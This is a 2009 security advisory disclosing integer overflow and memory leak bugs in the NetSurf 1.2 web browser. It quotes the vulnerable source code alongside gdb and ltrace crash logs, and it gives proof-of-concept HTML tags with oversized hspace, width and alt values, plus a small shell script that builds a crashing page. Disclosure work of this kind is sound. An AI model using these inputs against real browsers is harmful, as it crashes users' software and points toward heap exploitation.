Netsurf multiple adv

---

[Jeremy Brown 01-14-2009]
[email protected]/jbrownsec.blogspot.com
netsurf_multiple_adv.txt

NetSurf Web Browser 1.2
http://www.netsurf-browser.org
Debian, Ubuntu, etc packages, or source code available @ http://www.netsurf-browser.org/downloads/releases/netsurf-1.2-src.tar.gz

Several bugs, including integer overflows and memory leaks, have been found in the NetSurf web browser. At one point in the research,
I was able to overwrite the ESI register with my own data which could lead to heap based exploitation of at least [Problem #2] of the bugs.
I was able to pass large values to several html tag attributes and make the program do huge malloc()'s. Some of the code seems to check for
small numbers when parsing values then attempting to render content, but large numbers trigger integer overflows when allocating memory.

---

{Problem #1]

render/box_construct.c [1110-1136]:

if ((strcmp((const char *) n->name, "img") == 0) ||
		(strcmp((const char *) n->name, "image") == 0) ||
		(strcmp((const char *) n->name, "applet") == 0)) {
	if ((s = (char *) xmlGetProp(n,
			(const xmlChar *) "hspace"))) {
		/* percentage hspace not implemented */
		if (!strrchr(s, '%')) {
			int value = isdigit(s[0]) ? atoi(s): -1;
			if (0 <= value && !author->margin[LEFT]) {
				style->margin[LEFT].margin =
						CSS_MARGIN_LENGTH;
				style->margin[LEFT].value.length.value =
						value;
				style->margin[LEFT].value.length.unit =
						CSS_UNIT_PX;
			}
			if (0 <= value && !author->margin[RIGHT]) {
				style->margin[RIGHT].margin =
						CSS_MARGIN_LENGTH;
				style->margin[RIGHT].value.length.
						value = value;
				style->margin[RIGHT].value.length.unit =
						CSS_UNIT_PX;
			}
		}
		xmlFree(s);
	}

(netsurf:31889): GdkPixbuf-CRITICAL **: gdk_pixbuf_scale: assertion `src != NULL' failed
(netsurf:31889): GLib-GObject-CRITICAL **: g_object_unref: assertion `G_IS_OBJECT (object)' failed
The program 'netsurf' received an X Window System error.
This probably reflects a bug in the program.
The error was 'BadAlloc (insufficient resources for operation)'.
(Details: serial 1071 error_code 11 request_code 53 minor_code 0)
(Note to programmers: normally, X errors are reported asynchronously;
that is, you will receive the error a while after causing it.
To debug your program, run it with the --sync command line
option to change this behavior. You can then get a meaningful
backtrace from your debugger if you break on the gdk_x_error() function.)

Program exited with code 01.

[ltrace log – hspace = 30000, without --sync]

gdk_gc_set_clip_rectangle(0x8cbdaf8, 0x80c4500, 0, 0, 0)
= 0x8cbda01
cairo_reset_clip(0xb6600948, 0x80c4500, 0, 0, 0)
= 0
cairo_rectangle(0xb6600948, 0, 0, 0, 0)
= 0
cairo_clip(0xb6600948, 0, 0, 0, 0)
= 0xb6600aec
gdk_gc_set_clip_rectangle(0x8cbdaf8, 0x80c4500, 0, 0, 0)
= 0x8cbda01
gdk_pixbuf_get_from_drawable(0, 0x8d0ed78, 0, 0, 0 <unfinished …>
malloc(3073536192) /// HUGE MALLOC
= NULL
<… gdk_pixbuf_get_from_drawable resumed> )
= 0
gdk_pixbuf_scale(0, 0x8c0e238, 0, 0, 100 <unfinished …>
free(0xb6600dc8)
= <void>
free(0xb6600de0)
= <void>

PoCs: <applet code='test.class' hspace='32767'>
<img src='test.jpg' hspace='32767'>

---

[Problem #2]

render/layout.c [526-539]:

/* add margins, border, padding to min, max widths */
calculate_mbp_width(block->style, LEFT, &extra_fixed, &extra_frac);
calculate_mbp_width(block->style, RIGHT, &extra_fixed, &extra_frac);
if (extra_fixed < 0)
	extra_fixed = 0;
if (extra_frac < 0)
	extra_frac = 0;
if (1.0 <= extra_frac)
	extra_frac = 0.9;
block->min_width = (min + extra_fixed) / (1.0 - extra_frac);
block->max_width = (max + extra_fixed) / (1.0 - extra_frac);

assert(0 <= block->min_width && block->min_width <= block->max_width);

}

$ calc 32767327672+131006
2147483584

$ cat ns.sh ns2.sh
echo "<iframe src='test.jpg' width='$1'>`perl -e 'print "A" x 99999999'`" > int.html
echo "<iframe src='test.jpg' width='$1'>" > int.html
$

(gdb) shell ./ns.sh 2147483584
(gdb) r file:///home/rush/Desktop/int.html

[width = 2247483583 (2147483584+99999999) & 99,999,999 A's appended to test html file]

Program received signal SIGABRT, Aborted.
[Switching to Thread 0xb6d78720 (LWP 28933)]
0xb804e430 in __kernel_vsyscall ()
(gdb) i r
eax 0x0 0
ecx 0x7105 28933
edx 0x6 6
ebx 0x7105 28933
esp 0xbfb4cfe4 0xbfb4cfe4
ebp 0xbfb4cffc 0xbfb4cffc
esi 0xb7532b97 -1219286121
edi 0xb754fff4 -1219166220
eip 0xb804e430 0xb804e430 <__kernel_vsyscall+16>
eflags 0x206 [ PF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) bt
#0 0xb804e430 in __kernel_vsyscall ()
#1 0xb7421880 in raise () from /lib/tls/i686/cmov/libc.so.6
#2 0xb7423248 in abort () from /lib/tls/i686/cmov/libc.so.6
#3 0xb741a72e in __assert_fail () from /lib/tls/i686/cmov/libc.so.6
#4 0x080a7cdd in ?? ()
#5 0x080a75e2 in ?? ()
#6 0x080a747d in ?? ()
#7 0x080ab3f0 in layout_document ()
#8 0x0809f073 in html_reformat ()
#9 0x080a0d95 in html_convert ()
#10 0x0805980c in content_convert ()
#11 0x0805cc49 in ?? ()
#12 0x0805a6c1 in fetch_send_callback ()
#13 0x08060c23 in ?? ()
#14 0x0806110f in ?? ()
#15 0x0805afe9 in fetch_poll ()
#16 0x08088276 in gui_poll ()
#17 0x0807fe94 in main ()

PoCs: <iframe src='test.jpg' width='2147483584'>
<hr width='2147483584'>

---

[Problem #3]

Memory leak & huge system resource consumption.

render/box_construct.c [1494-1514]:

bool box_image(BOX_SPECIAL_PARAMS)
{
bool ok;
char *s, *url;
xmlChar *alt, *src;

if (box->style && box->style->display == CSS_DISPLAY_NONE)
	return true;

/* handle alt text */
if ((alt = xmlGetProp(n, (const xmlChar *) "alt"))) {
	s = squash_whitespace((const char *) alt);
	xmlFree(alt);
	if (!s)
		return false;
	box->text = talloc_strdup(content, s);
	free(s);
	if (!box->text)
		return false;
	box->length = strlen(box->text);
}

PoC: <img src='test.jpg' alt='"A" x ~2000'>

---